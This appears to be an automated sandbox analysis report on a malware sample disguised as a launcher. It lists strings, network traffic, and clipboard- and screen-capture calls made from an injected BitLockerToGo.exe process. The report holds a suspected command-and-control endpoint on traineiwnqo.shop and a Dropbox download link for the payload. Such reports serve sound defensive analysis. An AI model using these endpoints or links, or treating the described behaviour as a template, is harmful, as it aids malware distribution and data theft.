Source: Launcher_x32_x64.exe, 00000000.00000002.1835804518.000000000F231000.00000004.00001000.00020000.00000000.sdmp, 4ud5if5k.0ze.exe, 00000001.00000000.1813573976.0000000000D9D000.00000002.00000001.01000000.00000005.sdmp, 4ud5if5k.0ze.exe.0.dr	String found in binary or memory: https://management.azure.comfailed
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://navi.dropbox.jp/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://officeapps-df.live.com
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://officeapps.live.com
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/picker
Source: Launcher_x32_x64.exe, 00000000.00000002.1835804518.000000000F231000.00000004.00001000.00020000.00000000.sdmp, 4ud5if5k.0ze.exe, 00000001.00000000.1813573976.0000000000D9D000.00000002.00000001.01000000.00000005.sdmp, 4ud5if5k.0ze.exe.0.dr	String found in binary or memory: https://ossrdbms-aad.database.chinacloudapi.cned25519:
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pal-test.adyen.com
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/cloud-docs/edit
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://photos.dropbox.com/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sales.dropboxbusiness.com/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://selfguidedlearning.dropboxbusiness.com/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://showcase.dropbox.com/
Source: BitLockerToGo.exe, 00000003.00000002.1925229586.0000000002F1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://traineiwnqo.shop/api
Source: BitLockerToGo.exe, 00000003.00000002.1925229586.0000000002F1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://traineiwnqo.shop/apij
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://uc65f56b62827632faafd635f90d.dl.dropboxusercontent.com/cd/0/get/CZuc7lbOcorcPO1KnxZRm4I-EZZJ
Source: Launcher_x32_x64.exe, 00000000.00000002.1835804518.000000000F231000.00000004.00001000.00020000.00000000.sdmp, 4ud5if5k.0ze.exe, 00000001.00000000.1813573976.0000000000D9D000.00000002.00000001.01000000.00000005.sdmp, 4ud5if5k.0ze.exe.0.dr	String found in binary or memory: https://vault.azure.net/mysql.database.azure.comhttps://cosmos.azure.comNtQuerySystemInformationAllo
Source: Launcher_x32_x64.exe, 00000000.00000002.1835804518.000000000F231000.00000004.00001000.00020000.00000000.sdmp, 4ud5if5k.0ze.exe, 00000001.00000000.1813573976.0000000000D9D000.00000002.00000001.01000000.00000005.sdmp, 4ud5if5k.0ze.exe.0.dr	String found in binary or memory: https://vault.azure.netusgovtrafficmanager.netvault.usgovcloudapi.nethttps://vault.azure.cn/vault.mi
Source: BitLockerToGo.exe, 00000003.00000003.1914096343.0000000002FA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: BitLockerToGo.exe, 00000003.00000002.1925229586.0000000002F25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.docsend.com/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/encrypted_folder_download/service_worker.js
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/page_success/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/pithos/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/playlist/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A71000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/zggrbdmbru8wwpp19fnal/Launcher.exe?rlkey=oyhv29cvxml0f5jh9a6ijy93p&st
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/service_worker.js
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/api/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/serviceworker/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/v/s/playlist/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropboxstatic.com/static/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.hellofax.com/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.hellosign.com/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.paypal.com/sdk/js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 162.125.66.18:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.66.15:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.93:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49741 version: TLS 1.2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_004292F0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_004292F0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_004292F0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_004292F0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_00421460 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

3_2_00421460

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000001.00000002.1894150698.0000000003C9E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_00F431A0	0_2_00F431A0
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_01289570	0_2_01289570
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_010CA630	0_2_010CA630
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_00F09B10	0_2_00F09B10
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_010C5F00	0_2_010C5F00
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_00F12060	0_2_00F12060
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_00FDC060	0_2_00FDC060
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0113F1A0	0_2_0113F1A0
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_00ED3390	0_2_00ED3390
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0114A440	0_2_0114A440
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_01093490	0_2_01093490
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0114B4F0	0_2_0114B4F0
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0114B770	0_2_0114B770
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_00EF7680	0_2_00EF7680
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0131A780	0_2_0131A780
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_01323650	0_2_01323650
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_00FD7810	0_2_00FD7810
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_00FF4900	0_2_00FF4900
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_01143B20	0_2_01143B20
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_00F4CAB0	0_2_00F4CAB0
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0114BAC0	0_2_0114BAC0
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_00ED7C10	0_2_00ED7C10
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0113AC70	0_2_0113AC70
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_00E8EEE0	0_2_00E8EEE0
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_01105E10	0_2_01105E10
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_01038E70	0_2_01038E70
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_01148EB0	0_2_01148EB0
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_00EF2F10	0_2_00EF2F10
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0ADDE9D0	0_2_0ADDE9D0
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0ADCCCB0	0_2_0ADCCCB0
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0AD9CC00	0_2_0AD9CC00
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0ADC8C20	0_2_0ADC8C20
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0ADA5040	0_2_0ADA5040
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0AD93BB0	0_2_0AD93BB0
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0ADBABB0	0_2_0ADBABB0
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0ADBBB20	0_2_0ADBBB20
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0AD9A8E0	0_2_0AD9A8E0
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0ADD6910	0_2_0ADD6910
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0AD88FD0	0_2_0AD88FD0
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0AD93F90	0_2_0AD93F90
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0AD9BF30	0_2_0AD9BF30
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0AD88C30	0_2_0AD88C30
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0ADB8D20	0_2_0ADB8D20
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0ADAB290	0_2_0ADAB290
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0ADBA0B0	0_2_0ADBA0B0
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0ADB4600	0_2_0ADB4600
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0ADED410	0_2_0ADED410
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0ADC45E0	0_2_0ADC45E0
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0AD99540	0_2_0AD99540
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0AF38840	0_2_0AF38840
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0CA9A950	0_2_0CA9A950
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0CBB62A0	0_2_0CBB62A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004321F0	3_2_004321F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0040C223	3_2_0040C223
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004323E3	3_2_004323E3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042D702	3_2_0042D702
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00404000	3_2_00404000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041F011	3_2_0041F011
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00434030	3_2_00434030
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042C890	3_2_0042C890
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0040D978	3_2_0040D978
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0040B900	3_2_0040B900
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00434110	3_2_00434110
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004061F0	3_2_004061F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004089F0	3_2_004089F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00420980	3_2_00420980
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00435990	3_2_00435990
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00413A4A	3_2_00413A4A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0040E20B	3_2_0040E20B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041CA10	3_2_0041CA10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00419A1F	3_2_00419A1F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00407A30	3_2_00407A30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00401AD5	3_2_00401AD5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041D290	3_2_0041D290
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041BB22	3_2_0041BB22
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041A330	3_2_0041A330
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004043C0	3_2_004043C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004353C0	3_2_004353C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043238A	3_2_0043238A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00433BA8	3_2_00433BA8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00433C40	3_2_00433C40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00434450	3_2_00434450
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00402410	3_2_00402410
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00414420	3_2_00414420
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00411CDA	3_2_00411CDA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004324BC	3_2_004324BC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041AD70	3_2_0041AD70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004335D2	3_2_004335D2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00404DE0	3_2_00404DE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041EDFE	3_2_0041EDFE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00433D90	3_2_00433D90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004235B0	3_2_004235B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00420E60	3_2_00420E60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0040FE01	3_2_0040FE01
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00401618	3_2_00401618
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00406ED0	3_2_00406ED0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00407EE0	3_2_00407EE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00431E80	3_2_00431E80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004096A0	3_2_004096A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004356B0	3_2_004356B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00433F40	3_2_00433F40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041D752	3_2_0041D752
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0040CF60	3_2_0040CF60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00414770	3_2_00414770
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00431710	3_2_00431710
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00405780	3_2_00405780

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 00409CD0 appears 87 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 004093E0 appears 38 times
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: String function: 00F4CAB0 appears 55 times

Source: Launcher_x32_x64.exe

Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Source: Launcher_x32_x64.exe	Binary or memory string: OriginalFilename vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1833876636.000000000E4A0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Sockets.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1832992884.000000000D821000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Collections.Concurrent.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1833941119.000000000E521000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Sockets.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1832707797.000000000D6F1000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Memory.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1832824855.000000000D771000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Collections.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1834663564.000000000EAE1000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Security.Principal.Windows.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1832457094.000000000D2E0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.Primitives.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Security.Claims.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1820113775.000000000AEE0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Primitives.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1834145533.000000000E5F1000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.NameResolution.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1837314525.00000000117B0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.ComponentModel.Primitives.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1835804518.000000000FD63000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLauncher!.exe pP vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1834219419.000000000E610000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Threading.ThreadPool.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1817950421.00000000098D1000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Private.CoreLib.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1832665993.000000000D6C0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Memory.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1823830750.000000000D011000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Private.Uri.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1821107705.000000000CC30000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Security.Cryptography.Primitives.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1821107705.000000000CC30000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Security.Cryptography.X509Certificates.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1821107705.000000000CC30000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Security.Cryptography.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1817301885.0000000008CD0000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Private.CoreLib.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1832613932.000000000D6A1000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Runtime.InteropServices.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Net.Http.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1837163704.0000000011700000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: OriginalFilenameSystem.Diagnostics.FileVersionInfo.dll@ vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1837163704.0000000011700000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: get_OriginalFilename vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1837163704.0000000011700000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: _originalFilename vs Launcher_x32_x64.exe
Source: Launcher_x32_x64.exe, 00000000.00000002.1837163704.0000000011700000.00000002.00000001.00040000.00000003.sdmp	Binary or memory string: <GetFileVersionInfoEx>g____PInvoke\|2_0<GetFileVersionInfoSizeEx>g____PInvoke\|3_0<VerQueryValue>g____PInvoke\|4_0Span`1Kernel32UInt32<Module>HIWORDLOWORDVS_FIXEDFILEINFOSystem.IOdwFileDateLSdwFileVersionLSdwProductVersionLSdwFileDateMSdwFileVersionMSdwProductVersionMSdwFileOSVerLanguageNameWVerQueryValueWGetFileVersionInfoSizeExWGetFileVersionInfoExWlpDataAllocget_IsPatched_isPatchedIsPathFullyQualifiedAppendFormatted_fileBuildget_PrivateBuildget_IsPrivateBuild_isPrivateBuild_privateBuildget_SpecialBuildget_IsSpecialBuild_isSpecialBuild_specialBuild_productBuildAppenddwordGetPinnableReferenceFreeUnsafeGetLanguageAndCodePageGetVersionInfoForCodePagecodepageget_LanguageGetFileVersionLanguage_languagelpdwHandleFileVerLanguageNameget_FileName_fileNameget_InternalName_internalNameget_ProductName_productNameget_CompanyName_companyNameget_OriginalFilename_originalFilenamelpwstrFilenameSystem.RuntimeAppendLinedwFileTypeValueTypedwFileSubtypedwSignatureget_IsPreRelease_isPreReleaseCreate_filePrivate_productPrivateAssemblyMetadataAttributeCompilerGeneratedAttributeGeneratedCodeAttributeNeutralR